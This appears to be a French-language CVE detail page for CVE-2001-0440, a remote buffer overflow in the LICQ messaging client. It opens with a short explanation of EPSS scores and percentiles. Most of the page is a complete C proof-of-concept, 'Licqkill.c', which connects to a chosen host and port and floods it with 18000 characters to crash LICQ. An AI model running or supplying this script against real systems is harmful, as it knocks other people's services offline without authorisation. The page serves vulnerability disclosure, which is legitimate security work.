CVE-2001-0440 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/2406/info At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution. /* * Name: Licqkill.c * Author: Stan Bubrouski <[email protected]> * Date: December 26, 2000 * Description: Licq will crash when 16707 or more characters are sent to the port * Licq is listening on. Finding the port Licq is running on is pretty * simple because by default it starts using ports around 1100 or so. This * has been tested against Licq v.85 and v1.0.2 * Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability. */ #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> int main(int argc, char **argv) { char buf[18000]; int i, sock, result; struct sockaddr_in sin; struct hostent *hn; printf("licqkill.c - Licq remote DoS by Stan Bubrouski <[email protected]>\n\n"); if (argc < 3) { fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]); exit(-1); } hn = gethostbyname(argv[1]); if (!hn) { fprintf(stderr, "%s: host lookup failure\n", argv[1]); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); sin.sin_addr = *(struct in_addr *)hn->h_addr; sock = socket(AF_INET, SOCK_STREAM, 0); result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)); if (result != 0) { fprintf(stderr, "Failed to establish connection to %s\n", argv[1]); exit(-1); } if (sock < 0) { fprintf(stderr, "Socket error."); exit(-1); } for (i=0; i<18000; i++) strncat(buf, "A", 1); send(sock, buf, sizeof(buf), 0); close(sock); fprintf(stdout, "Data sent\n\n"); }